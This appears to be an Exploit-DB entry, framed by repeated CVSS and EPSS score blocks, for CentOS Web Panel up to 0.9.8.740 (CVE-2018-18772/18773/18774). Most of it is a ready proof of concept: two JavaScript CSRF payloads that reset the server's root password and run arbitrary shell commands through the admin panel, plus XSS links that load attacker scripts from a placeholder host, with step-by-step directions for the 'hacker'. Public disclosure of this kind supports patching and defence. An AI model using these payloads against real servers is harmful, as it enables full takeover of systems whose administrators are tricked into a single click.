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exploitdbInfinitumITEDB-ID:45822
HistoryNov 13, 2018 - 12:00 a.m.

CentOS Web Panel 0.9.8.740 - Cross-Site Request Forgery / Cross-Site Scripting

2018-11-1300:00:00
InfinitumIT
www.exploit-db.com
23

6.8 Medium

CVSS2

Attack Vector

NETWORK

Attack Complexity

MEDIUM

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:M/Au:N/C:P/I:P/A:P

8.8 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

REQUIRED

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

7.5 High

AI Score

Confidence

High

0.007 Low

EPSS

Percentile

80.7%

# Title: CentOS Web Panel Root Account Takeover + Remote Command Execution <= v0.9.8.740
# Author: InfinitumIT (https://infinitumit.com.tr)
# Vendor Homepage: centos-webpanel.com
# Software Link: http://centos-webpanel.com/cwp-latest
# Version: Up to v0.9.8.740.
# CVE: CVE-2018-18773, CVE-2018-18772 and CVE-2018-18774.
#? Detailed: https://numanozdemir.com/respdisc/cwp.pdf

# Description:
# Attacker can change target server's root password and execute command, by CSRF vulnerability.
# Also, there is a XSS vulnerability, hacker can exploit the CSRF vulnerability by this XSS
# vulnerability and run bad-purposed JavaScript codes on administrator's browser.
# So, CSRF/XSS to full server takeover.

# How to Reproduce:
# Hacker can exploit this vulnerability (changing root password) by XSS or CSRF.
# Hacker will create a website and put those codes into source:

<script>
var url = "http://targetserver:2030/admin/index.php?module=rootpwd";
var params = "ifpost=yes&password1=newpassword&password2=newpassword";
var vuln = new XMLHttpRequest();
vuln.open("POST", url, true);
vuln.withCredentials = 'true';
vuln.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
vuln.send(params);
</script>

# (Update newpassword as the password that you want to change.)

# If hacker wants to exploit this by CSRF, CWP administrator will click hacker's website.
# But if hacker wants to exploit this by XSS, CWP administrator will click here: (admin's own website)
# http://targetserver:2030/admin/index.php?module=<script%20src=//hackerswebsite.com/password.js></script>
# After exploiting, you can connect to server by Putty or access the CWP panel with the password
# that you have specified from 2030 port.

# The second vulnerability is remote command execution.
# Hacker can exploit this vulnerability (remote command execution) by XSS or CSRF too.
# Again, hacker will create a website and put those codes into source:

<script>
var url = "http://targetserver:2030/admin/index.php?module=send_ssh";
var params = "ssh+command=whoami";
var vuln = new XMLHttpRequest();
vuln.open("POST", url, true);
vuln.withCredentials = 'true';
vuln.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
vuln.send(params);
</script>

# (Update whoami as command that you want to run.)

# Same logic like top, if hacker wants to exploit this by CSRF, CWP administrator will click hacker's website.
# But if hacker wants to exploit this by XSS, CWP administrator will click here: (admin's own website)
# http://targetserver:2030/admin/index.php?module=<script%20src=//hackerswebsite.com/command.js></script>

# shouldnt think that CSRF/XSS are unimportant vulnerabilities.
# for secure days...

6.8 Medium

CVSS2

Attack Vector

NETWORK

Attack Complexity

MEDIUM

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:M/Au:N/C:P/I:P/A:P

8.8 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

REQUIRED

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

7.5 High

AI Score

Confidence

High

0.007 Low

EPSS

Percentile

80.7%